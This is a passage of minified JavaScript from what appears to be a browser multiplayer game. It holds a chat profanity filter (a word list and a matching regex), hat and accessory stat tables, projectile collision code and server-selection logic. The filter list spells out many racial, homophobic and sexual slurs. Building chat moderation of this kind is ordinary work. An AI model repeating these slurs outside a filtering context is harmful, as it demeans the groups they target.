6747 v1gra: 1,
6748 vagina: 1,
6749 viagra: 1,
6750 vulva: 1,
6751 w00se: 1,
6752 wang: 1,
6753 wank: 1,
6754 wanker: 1,
6755 wanky: 1,
6756 whoar: 1,
6757 whore: 1,
6758 willies: 1,
6759 willy: 1,
6760 xrated: 1,
6761 xxx: 1
6762 }
6763}, function(e, t) {
6764 e.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse",
6765 "arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole",
6766 "assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch",
6767 "ballbag", "balls", "ballsack", "bastard", "beastial", "beastiality",
6768 "bellend", "bestial", "bestiality", "bi+ch", "biatch", "bitch", "bitcher",
6769 "bitchers", "bitches", "bitchin", "bitching", "bloody", "blow job",
6770 "blowjob", "blowjobs", "boiolas", "bollock", "bollok", "boner", "boob",
6771 "boobs", "booobs", "boooobs", "booooobs", "booooooobs", "breasts",
6772 "buceta", "bugger", "bum", "bunny fucker", "butt", "butthole", "buttmuch",
6773 "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk", "chink",
6774 "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-sucker",
6775 "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck",
6776 "cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka",
6777 "cocksukka", "cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum",
6778 "cummer", "cumming", "cums", "cumshot", "cunilingus", "cunillingus",
6779 "cunnilingus", "cunt", "cuntlick", "cuntlicker", "cuntlicking", "cunts",
6780 "cyalis", "cyberfuc", "cyberfuck", "cyberfucked", "cyberfucker",
6781 "cyberfuckers", "cyberfucking", "d1ck", "damn", "dick", "dickhead",
6782 "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-fucker",
6783 "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke", "ejaculate",
6784 "ejaculated", "ejaculates", "ejaculating", "ejaculatings", "ejaculation",
6785 "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging",
6786 "faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny",
6787 "fannyflaps", "fannyfucker", "fanyy", "fatass", "fcuk", "fcuker",
6788 "fcuking", "feck", "fecker", "felching", "fellate", "fellatio",
6789 "fingerfuck", "fingerfucked", "fingerfucker", "fingerfuckers",
6790 "fingerfucking", "fingerfucks", "fistfuck", "fistfucked", "fistfucker",
6791 "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange",
6792 "fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers",
6793 "fuckhead", "fuckheads", "fuckin", "fucking", "fuckings",
6794 "fuckingshitmotherfucker", "fuckme", "fucks", "fuckwhit", "fuckwit",
6795 "fudge packer", "fudgepacker", "fuk", "fuker", "fukker", "fukkin", "fuks",
6796 "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k", "gangbang", "gangbanged",
6797 "gangbangs", "gaylord", "gaysex", "goatse", "God", "god-dam", "god-damned",
6798 "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar", "hoare",
6799 "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off",
6800 "jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk",
6801 "knob", "knobead", "knobed", "knobend", "knobhead", "knobjocky",
6802 "knobjokey", "kock", "kondum", "kondums", "kum", "kummer", "kumming",
6803 "kums", "kunilingus", "l3i+ch", "l3itch", "labia", "lust", "lusting",
6804 "m0f0", "m0fo", "m45terbate", "ma5terb8", "ma5terbate", "masochist",
6805 "master-bate", "masterb8", "masterbat*", "masterbat3", "masterbate",
6806 "masterbation", "masterbations", "masturbate", "mo-fo", "mof0", "mofo",
6807 "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked",
6808 "mothafucker", "mothafuckers", "mothafuckin", "mothafucking",
6809 "mothafuckings", "mothafucks", "mother fucker", "motherfuck",
6810 "motherfucked", "motherfucker", "motherfuckers", "motherfuckin",
6811 "motherfucking", "motherfuckings", "motherfuckka", "motherfucks", "muff",
6812 "mutha", "muthafecker", "muthafuckker", "muther", "mutherfucker", "n1gga",
6813 "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah", "niggas",
6814 "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky",
6815 "nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm",
6816 "orgasms", "p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex",
6817 "phuck", "phuk", "phuked", "phuking", "phukked", "phukking", "phuks",
6818 "phuq", "pigfucker", "pimpis", "piss", "pissed", "pisser", "pissers",
6819 "pisses", "pissflaps", "pissin", "pissing", "pissoff", "poop", "porn",
6820 "porno", "pornography", "pornos", "prick", "pricks", "pron", "pube",
6821 "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard",
6822 "rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing",
6823 "scroat", "scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t",
6824 "shag", "shagger", "shaggin", "shagging", "shemale", "shi+", "shit",
6825 "shitdick", "shite", "shited", "shitey", "shitfuck", "shitfull",
6826 "shithead", "shiting", "shitings", "shits", "shitted", "shitter",
6827 "shitters", "shitting", "shittings", "shitty", "skank", "slut", "sluts",
6828 "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk", "s_h_i_t",
6829 "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit",
6830 "titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties",
6831 "tittyfuck", "tittywank", "titwank", "tosser", "turd", "tw4t", "twat",
6832 "twathead", "twatty", "twunt", "twunter", "v14gra", "v1gra", "vagina",
6833 "viagra", "vulva", "w00se", "wang", "wank", "wanker", "wanky", "whoar",
6834 "whore", "willies", "willy", "xrated", "xxx"
6835 ]
6836}, function(e, t) {
6837 e.exports =
6838 /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|willies|willy|xrated|xxx)\b/gi
6839}, function(e, t) {
6840 e.exports.hats = [{
6841 id: 45,
6842 name: "Shame!",
6843 dontSell: !0,
6844 price: 0,
6845 scale: 120,
6846 desc: "hacks are for losers"
6847 }, {
6848 id: 51,
6849 name: "Moo Cap",
6850 price: 0,
6851 scale: 120,
6852 desc: "coolest mooer around"
6853 }, {
6854 id: 50,
6855 name: "Apple Cap",
6856 price: 0,
6857 scale: 120,
6858 desc: "apple farms remembers"
6859 }, {
6860 id: 28,
6861 name: "Moo Head",
6862 price: 0,
6863 scale: 120,
6864 desc: "no effect"
6865 }, {
6866 id: 29,
6867 name: "Pig Head",
6868 price: 0,
6869 scale: 120,
6870 desc: "no effect"
6871 }, {
6872 id: 30,
6873 name: "Fluff Head",
6874 price: 0,
6875 scale: 120,
6876 desc: "no effect"
6877 }, {
6878 id: 36,
6879 name: "Pandou Head",
6880 price: 0,
6881 scale: 120,
6882 desc: "no effect"
6883 }, {
6884 id: 37,
6885 name: "Bear Head",
6886 price: 0,
6887 scale: 120,
6888 desc: "no effect"
6889 }, {
6890 id: 38,
6891 name: "Monkey Head",
6892 price: 0,
6893 scale: 120,
6894 desc: "no effect"
6895 }, {
6896 id: 44,
6897 name: "Polar Head",
6898 price: 0,
6899 scale: 120,
6900 desc: "no effect"
6901 }, {
6902 id: 35,
6903 name: "Fez Hat",
6904 price: 0,
6905 scale: 120,
6906 desc: "no effect"
6907 }, {
6908 id: 42,
6909 name: "Enigma Hat",
6910 price: 0,
6911 scale: 120,
6912 desc: "join the enigma army"
6913 }, {
6914 id: 43,
6915 name: "Blitz Hat",
6916 price: 0,
6917 scale: 120,
6918 desc: "hey everybody i'm blitz"
6919 }, {
6920 id: 49,
6921 name: "Bob XIII Hat",
6922 price: 0,
6923 scale: 120,
6924 desc: "like and subscribe"
6925 }, {
6926 id: 57,
6927 name: "Pumpkin",
6928 price: 50,
6929 scale: 120,
6930 desc: "Spooooky"
6931 }, {
6932 id: 8,
6933 name: "Bummle Hat",
6934 price: 100,
6935 scale: 120,
6936 desc: "no effect"
6937 }, {
6938 id: 2,
6939 name: "Straw Hat",
6940 price: 500,
6941 scale: 120,
6942 desc: "no effect"
6943 }, {
6944 id: 15,
6945 name: "Winter Cap",
6946 price: 600,
6947 scale: 120,
6948 desc: "allows you to move at normal speed in snow",
6949 coldM: 1
6950 }, {
6951 id: 5,
6952 name: "Cowboy Hat",
6953 price: 1e3,
6954 scale: 120,
6955 desc: "no effect"
6956 }, {
6957 id: 4,
6958 name: "Ranger Hat",
6959 price: 2e3,
6960 scale: 120,
6961 desc: "no effect"
6962 }, {
6963 id: 18,
6964 name: "Explorer Hat",
6965 price: 2e3,
6966 scale: 120,
6967 desc: "no effect"
6968 }, {
6969 id: 31,
6970 name: "Flipper Hat",
6971 price: 2500,
6972 scale: 120,
6973 desc: "have more control while in water",
6974 watrImm: !0
6975 }, {
6976 id: 1,
6977 name: "Marksman Cap",
6978 price: 3e3,
6979 scale: 120,
6980 desc: "increases arrow speed and range",
6981 aMlt: 1.3
6982 }, {
6983 id: 10,
6984 name: "Bush Gear",
6985 price: 3e3,
6986 scale: 160,
6987 desc: "allows you to disguise yourself as a bush"
6988 }, {
6989 id: 48,
6990 name: "Halo",
6991 price: 3e3,
6992 scale: 120,
6993 desc: "no effect"
6994 }, {
6995 id: 6,
6996 name: "Soldier Helmet",
6997 price: 4e3,
6998 scale: 120,
6999 desc: "reduces damage taken but slows movement",
7000 spdMult: .94,
7001 dmgMult: .75
7002 }, {
7003 id: 23,
7004 name: "Anti Venom Gear",
7005 price: 4e3,
7006 scale: 120,
7007 desc: "makes you immune to poison",
7008 poisonRes: 1
7009 }, {
7010 id: 13,
7011 name: "Medic Gear",
7012 price: 5e3,
7013 scale: 110,
7014 desc: "slowly regenerates health over time",
7015 healthRegen: 3
7016 }, {
7017 id: 9,
7018 name: "Miners Helmet",
7019 price: 5e3,
7020 scale: 120,
7021 desc: "earn 1 extra gold per resource",
7022 extraGold: 1
7023 }, {
7024 id: 32,
7025 name: "Musketeer Hat",
7026 price: 5e3,
7027 scale: 120,
7028 desc: "reduces cost of projectiles",
7029 projCost: .5
7030 }, {
7031 id: 7,
7032 name: "Bull Helmet",
7033 price: 6e3,
7034 scale: 120,
7035 desc: "increases damage done but drains health",
7036 healthRegen: -5,
7037 dmgMultO: 1.5,
7038 spdMult: .96
7039 }, {
7040 id: 22,
7041 name: "Emp Helmet",
7042 price: 6e3,
7043 scale: 120,
7044 desc: "turrets won't attack but you move slower",
7045 antiTurret: 1,
7046 spdMult: .7
7047 }, {
7048 id: 12,
7049 name: "Booster Hat",
7050 price: 6e3,
7051 scale: 120,
7052 desc: "increases your movement speed",
7053 spdMult: 1.16
7054 }, {
7055 id: 26,
7056 name: "Barbarian Armor",
7057 price: 8e3,
7058 scale: 120,
7059 desc: "knocks back enemies that attack you",
7060 dmgK: .6
7061 }, {
7062 id: 21,
7063 name: "Plague Mask",
7064 price: 1e4,
7065 scale: 120,
7066 desc: "melee attacks deal poison damage",
7067 poisonDmg: 5,
7068 poisonTime: 6
7069 }, {
7070 id: 46,
7071 name: "Bull Mask",
7072 price: 1e4,
7073 scale: 120,
7074 desc: "bulls won't target you unless you attack them",
7075 bullRepel: 1
7076 }, {
7077 id: 14,
7078 name: "Windmill Hat",
7079 topSprite: !0,
7080 price: 1e4,
7081 scale: 120,
7082 desc: "generates points while worn",
7083 pps: 1.5
7084 }, {
7085 id: 11,
7086 name: "Spike Gear",
7087 topSprite: !0,
7088 price: 1e4,
7089 scale: 120,
7090 desc: "deal damage to players that damage you",
7091 dmg: .45
7092 }, {
7093 id: 53,
7094 name: "Turret Gear",
7095 topSprite: !0,
7096 price: 1e4,
7097 scale: 120,
7098 desc: "you become a walking turret",
7099 turret: {
7100 proj: 1,
7101 range: 700,
7102 rate: 2500
7103 },
7104 spdMult: .7
7105 }, {
7106 id: 20,
7107 name: "Samurai Armor",
7108 price: 12e3,
7109 scale: 120,
7110 desc: "increased attack speed and fire rate",
7111 atkSpd: .78
7112 }, {
7113 id: 58,
7114 name: "Dark Knight",
7115 price: 12e3,
7116 scale: 120,
7117 desc: "restores health when you deal damage",
7118 healD: .4
7119 }, {
7120 id: 27,
7121 name: "Scavenger Gear",
7122 price: 15e3,
7123 scale: 120,
7124 desc: "earn double points for each kill",
7125 kScrM: 2
7126 }, {
7127 id: 40,
7128 name: "Tank Gear",
7129 price: 15e3,
7130 scale: 120,
7131 desc: "increased damage to buildings but slower movement",
7132 spdMult: .3,
7133 bDmg: 3.3
7134 }, {
7135 id: 52,
7136 name: "Thief Gear",
7137 price: 15e3,
7138 scale: 120,
7139 desc: "steal half of a players gold when you kill them",
7140 goldSteal: .5
7141 }, {
7142 id: 55,
7143 name: "Bloodthirster",
7144 price: 2e4,
7145 scale: 120,
7146 desc: "Restore Health when dealing damage. And increased damage",
7147 healD: .25,
7148 dmgMultO: 1.2
7149 }, {
7150 id: 56,
7151 name: "Assassin Gear",
7152 price: 2e4,
7153 scale: 120,
7154 desc: "Go invisible when not moving. Can't eat. Increased speed",
7155 noEat: !0,
7156 spdMult: 1.1,
7157 invisTimer: 1e3
7158 }], e.exports.accessories = [{
7159 id: 12,
7160 name: "Snowball",
7161 price: 1e3,
7162 scale: 105,
7163 xOff: 18,
7164 desc: "no effect"
7165 }, {
7166 id: 9,
7167 name: "Tree Cape",
7168 price: 1e3,
7169 scale: 90,
7170 desc: "no effect"
7171 }, {
7172 id: 10,
7173 name: "Stone Cape",
7174 price: 1e3,
7175 scale: 90,
7176 desc: "no effect"
7177 }, {
7178 id: 3,
7179 name: "Cookie Cape",
7180 price: 1500,
7181 scale: 90,
7182 desc: "no effect"
7183 }, {
7184 id: 8,
7185 name: "Cow Cape",
7186 price: 2e3,
7187 scale: 90,
7188 desc: "no effect"
7189 }, {
7190 id: 11,
7191 name: "Monkey Tail",
7192 price: 2e3,
7193 scale: 97,
7194 xOff: 25,
7195 desc: "Super speed but reduced damage",
7196 spdMult: 1.35,
7197 dmgMultO: .2
7198 }, {
7199 id: 17,
7200 name: "Apple Basket",
7201 price: 3e3,
7202 scale: 80,
7203 xOff: 12,
7204 desc: "slowly regenerates health over time",
7205 healthRegen: 1
7206 }, {
7207 id: 6,
7208 name: "Winter Cape",
7209 price: 3e3,
7210 scale: 90,
7211 desc: "no effect"
7212 }, {
7213 id: 4,
7214 name: "Skull Cape",
7215 price: 4e3,
7216 scale: 90,
7217 desc: "no effect"
7218 }, {
7219 id: 5,
7220 name: "Dash Cape",
7221 price: 5e3,
7222 scale: 90,
7223 desc: "no effect"
7224 }, {
7225 id: 2,
7226 name: "Dragon Cape",
7227 price: 6e3,
7228 scale: 90,
7229 desc: "no effect"
7230 }, {
7231 id: 1,
7232 name: "Super Cape",
7233 price: 8e3,
7234 scale: 90,
7235 desc: "no effect"
7236 }, {
7237 id: 7,
7238 name: "Troll Cape",
7239 price: 8e3,
7240 scale: 90,
7241 desc: "no effect"
7242 }, {
7243 id: 14,
7244 name: "Thorns",
7245 price: 1e4,
7246 scale: 115,
7247 xOff: 20,
7248 desc: "no effect"
7249 }, {
7250 id: 15,
7251 name: "Blockades",
7252 price: 1e4,
7253 scale: 95,
7254 xOff: 15,
7255 desc: "no effect"
7256 }, {
7257 id: 20,
7258 name: "Devils Tail",
7259 price: 1e4,
7260 scale: 95,
7261 xOff: 20,
7262 desc: "no effect"
7263 }, {
7264 id: 16,
7265 name: "Sawblade",
7266 price: 12e3,
7267 scale: 90,
7268 spin: !0,
7269 xOff: 0,
7270 desc: "deal damage to players that damage you",
7271 dmg: .15
7272 }, {
7273 id: 13,
7274 name: "Angel Wings",
7275 price: 15e3,
7276 scale: 138,
7277 xOff: 22,
7278 desc: "slowly regenerates health over time",
7279 healthRegen: 3
7280 }, {
7281 id: 19,
7282 name: "Shadow Wings",
7283 price: 15e3,
7284 scale: 138,
7285 xOff: 22,
7286 desc: "increased movement speed",
7287 spdMult: 1.1
7288 }, {
7289 id: 18,
7290 name: "Blood Wings",
7291 price: 2e4,
7292 scale: 178,
7293 xOff: 26,
7294 desc: "restores health when you deal damage",
7295 healD: .2
7296 }, {
7297 id: 21,
7298 name: "Corrupt X Wings",
7299 price: 2e4,
7300 scale: 178,
7301 xOff: 26,
7302 desc: "deal damage to players that damage you",
7303 dmg: .25
7304 }]
7305}, function(e, t) {
7306 e.exports = function(e, t, n, i, r, s, a) {
7307 this.init = function(e, t, n, i, r, s, o, c, l) {
7308 this.active = !0, this.indx = e, this.x = t, this.y = n, this.dir = i,
7309 this.skipMov = !0, this.speed = r, this.dmg = s, this.scale = c, this.range =
7310 o, this.owner = l, a && (this.sentTo = {})
7311 };
7312 var o, c = [];
7313 this.update = function(l) {
7314 if (this.active) {
7315 var h, u = this.speed * l;
7316 if (this.skipMov ? this.skipMov = !1 : (this.x += u * Math.cos(this.dir),
7317 this.y += u * Math.sin(this.dir), this.range -= u, this.range <= 0 &&
7318 (this.x += this.range * Math.cos(this.dir), this.y += this.range *
7319 Math.sin(this.dir), u = 1, this.range = 0, this.active = !1)), a) {
7320 for (var f = 0; f < e.length; ++f) !this.sentTo[e[f].id] && e[f].canSee(
7321 this) && (this.sentTo[e[f].id] = 1, a.send(e[f].id, "18", s.fixTo(
7322 this.x, 1), s.fixTo(this.y, 1), s.fixTo(this.dir, 2), s.fixTo(this
7323 .range, 1), this.speed, this.indx, this.layer, this.sid));
7324 for (c.length = 0, f = 0; f < e.length + t.length; ++f) !(o = e[f] ||
7325 t[f - e.length]).alive || o == this.owner || this.owner.team && o.team ==
7326 this.owner.team || s.lineInRect(o.x - o.scale, o.y - o.scale, o.x + o
7327 .scale, o.y + o.scale, this.x, this.y, this.x + u * Math.cos(this.dir),
7328 this.y + u * Math.sin(this.dir)) && c.push(o);
7329 for (var d = n.getGridArrays(this.x, this.y, this.scale), p = 0; p < d
7330 .length; ++p)
7331 for (var g = 0; g < d[p].length; ++g) h = (o = d[p][g]).getScale(), o
7332 .active && this.ignoreObj != o.sid && this.layer <= o.layer && c.indexOf(
7333 o) < 0 && !o.ignoreCollision && s.lineInRect(o.x - h, o.y - h, o.x +
7334 h, o.y + h, this.x, this.y, this.x + u * Math.cos(this.dir), this.y +
7335 u * Math.sin(this.dir)) && c.push(o);
7336 if (c.length > 0) {
7337 var m = null,
7338 y = null,
7339 k = null;
7340 for (f = 0; f < c.length; ++f) k = s.getDistance(this.x, this.y, c[f]
7341 .x, c[f].y), (null == y || k < y) && (y = k, m = c[f]);
7342 if (m.isPlayer || m.isAI) {
7343 var v = .3 * (m.weightM || 1);
7344 m.xVel += v * Math.cos(this.dir), m.yVel += v * Math.sin(this.dir),
7345 null != m.weaponIndex && i.weapons[m.weaponIndex].shield && s.getAngleDist(
7346 this.dir + Math.PI, m.dir) <= r.shieldAngle || m.changeHealth(-
7347 this.dmg, this.owner, this.owner)
7348 } else
7349 for (m.projDmg && m.health && m.changeHealth(-this.dmg) && n.disableObj(
7350 m), f = 0; f < e.length; ++f) e[f].active && (m.sentTo[e[f].id] &&
7351 (m.active ? e[f].canSee(m) && a.send(e[f].id, "8", s.fixTo(this.dir,
7352 2), m.sid) : a.send(e[f].id, "12", m.sid)), m.active || m.owner !=
7353 e[f] || e[f].changeItemCount(m.group.id, -1));
7354 for (this.active = !1, f = 0; f < e.length; ++f) this.sentTo[e[f].id] &&
7355 a.send(e[f].id, "19", this.sid, s.fixTo(y, 1))
7356 }
7357 }
7358 }
7359 }
7360 }
7361}, function(e, t) {
7362 e.exports = function(e, t, n, i, r, s, a, o, c) {
7363 this.addProjectile = function(l, h, u, f, d, p, g, m, y) {
7364 for (var k, v = s.projectiles[p], w = 0; w < t.length; ++w)
7365 if (!t[w].active) {
7366 k = t[w];
7367 break
7368 }
7369 return k || ((k = new e(n, i, r, s, a, o, c)).sid = t.length, t.push(k)),
7370 k.init(p, l, h, u, d, v.dmg, f, v.scale, g), k.ignoreObj = m, k.layer =
7371 y || v.layer, k.src = v.src, k
7372 }
7373 }
7374}, function(e, t) {
7375 e.exports.obj = function(e, t) {
7376 var n;
7377 this.sounds = [], this.active = !0, this.play = function(t, i, r) {
7378 i && this.active && ((n = this.sounds[t]) || (n = new Howl({
7379 src: ".././sound/" + t + ".mp3"
7380 }), this.sounds[t] = n), r && n.isPlaying || (n.isPlaying = !0, n.play(),
7381 n.volume((i || 1) * e.volumeMult), n.loop(r)))
7382 }, this.toggleMute = function(e, t) {
7383 (n = this.sounds[e]) && n.mute(t)
7384 }, this.stop = function(e) {
7385 (n = this.sounds[e]) && (n.stop(), n.isPlaying = !1)
7386 }
7387 }
7388}, function(e, t, n) {
7389 var i = n(60),
7390 r = n(67);
7391
7392 function s(e, t, n, i, r) {
7393 "localhost" == location.hostname && (window.location.hostname = "127.0.0.1"),
7394 this.debugLog = !1, this.baseUrl = e, this.lobbySize = n, this.devPort = t,
7395 this.lobbySpread = i, this.rawIPs = !!r, this.server = void 0, this.gameIndex =
7396 void 0, this.callback = void 0, this.errorCallback = void 0, this.processServers(
7397 vultr.servers)
7398 }
7399 s.prototype.regionInfo = {
7400 0: {
7401 name: "Local",
7402 latitude: 0,
7403 longitude: 0
7404 },
7405 "vultr:1": {
7406 name: "New Jersey",
7407 latitude: 40.1393329,
7408 longitude: -75.8521818
7409 },
7410 "vultr:2": {
7411 name: "Chicago",
7412 latitude: 41.8339037,
7413 longitude: -87.872238
7414 },
7415 "vultr:3": {
7416 name: "Dallas",
7417 latitude: 32.8208751,
7418 longitude: -96.8714229
7419 },
7420 "vultr:4": {
7421 name: "Seattle",
7422 latitude: 47.6149942,
7423 longitude: -122.4759879
7424 },
7425 "vultr:5": {
7426 name: "Los Angeles",
7427 latitude: 34.0207504,
7428 longitude: -118.691914
7429 },
7430 "vultr:6": {
7431 name: "Atlanta",
7432 latitude: 33.7676334,
7433 longitude: -84.5610332
7434 },
7435 "vultr:7": {
7436 name: "Amsterdam",
7437 latitude: 52.3745287,
7438 longitude: 4.7581878
7439 },
7440 "vultr:8": {
7441 name: "London",
7442 latitude: 51.5283063,
7443 longitude: -.382486
7444 },
7445 "vultr:9": {
7446 name: "Frankfurt",
7447 latitude: 50.1211273,
7448 longitude: 8.496137
7449 },
7450 "vultr:12": {
7451 name: "Silicon Valley",
7452 latitude: 37.4024714,
7453 longitude: -122.3219752
7454 },
7455 "vultr:19": {
7456 name: "Sydney",
7457 latitude: -33.8479715,
7458 longitude: 150.651084
7459 },
7460 "vultr:24": {
7461 name: "Paris",
7462 latitude: 48.8588376,
7463 longitude: 2.2773454
7464 },
7465 "vultr:25": {
7466 name: "Tokyo",
7467 latitude: 35.6732615,
7468 longitude: 139.569959
7469 },
7470 "vultr:39": {
7471 name: "Miami",
7472 latitude: 25.7823071,
7473 longitude: -80.3012156
7474 },
7475 "vultr:40": {
7476 name: "Singapore",
7477 latitude: 1.3147268,
7478 longitude: 103.7065876
7479 }
7480 }, s.prototype.start = function(e, t) {
7481 this.callback = e, this.errorCallback = t;
7482 var n = this.parseServerQuery();
7483 n ? (this.log("Found server in query."), this.password = n[3], this.connect(
7484 n[0], n[1], n[2])) : (this.log("Pinging servers..."), this.pingServers())
7485 }, s.prototype.parseServerQuery = function() {
7486 var e = i.parse(location.href, !0),
7487 t = e.query.server;
7488 if ("string" == typeof t) {
7489 var n = t.split(":");
7490 if (3 == n.length) {
7491 var r = n[0],
7492 s = parseInt(n[1]),
7493 a = parseInt(n[2]);
7494 return "0" == r || r.startsWith("vultr:") || (r = "vultr:" + r), [r, s,
7495 a, e.query.password
7496 ]
7497 }
7498 this.errorCallback("Invalid number of server parameters in " + t)
7499 }
7500 }, s.prototype.findServer = function(e, t) {
7501 var n = this.servers[e];
7502 if (Array.isArray(n)) {
7503 for (var i = 0; i < n.length; i++) {
7504 var r = n[i];
7505 if (r.index == t) return r
7506 }
7507 console.warn("Could not find server in region " + e + " with index " + t +
7508 ".")
7509 } else this.errorCallback("No server list for region " + e)
7510 }, s.prototype.pingServers = function() {
7511 var e = this,
7512 t = [];
7513 for (var n in this.servers)
7514 if (this.servers.hasOwnProperty(n)) {
7515 var i = this.servers[n],
7516 r = i[Math.floor(Math.random() * i.length)];
7517 null != r ? function(i, r) {
7518 var s = new XMLHttpRequest;
7519 s.onreadystatechange = function(i) {
7520 var s = i.target;
7521 if (4 == s.readyState)
7522 if (200 == s.status) {
7523 for (var a = 0; a < t.length; a++) t[a].abort();
7524 e.log("Connecting to region", r.region);
7525 var o = e.seekServer(r.region);
7526 e.connect(o[0], o[1], o[2])
7527 } else console.warn("Error pinging " + r.ip + " in region " + n)
7528 };
7529 var a = "//" + e.serverAddress(r.ip, !0) + ":" + e.serverPort(r) +
7530 "/ping";
7531 s.open("GET", a, !0), s.send(null), e.log("Pinging", a), t.push(s)
7532 }(0, r) : console.log("No target server for region " + n)
7533 }
7534 }, s.prototype.seekServer = function(e, t, n) {
7535 null == n && (n = "random"), null == t && (t = !1);
7536 const i = ["random"];
7537 var r = this.lobbySize,
7538 s = this.lobbySpread,
7539 a = this.servers[e].flatMap((function(e) {
7540 var t = 0;
7541 return e.games.map((function(n) {
7542 var i = t++;
7543 return {
7544 region: e.region,
7545 index: e.index * e.games.length + i,
7546 gameIndex: i,
7547 gameCount: e.games.length,
7548 playerCount: n.playerCount,
7549 isPrivate: n.isPrivate
7550 }
7551 }))
7552 })).filter((function(e) {
7553 return !e.isPrivate
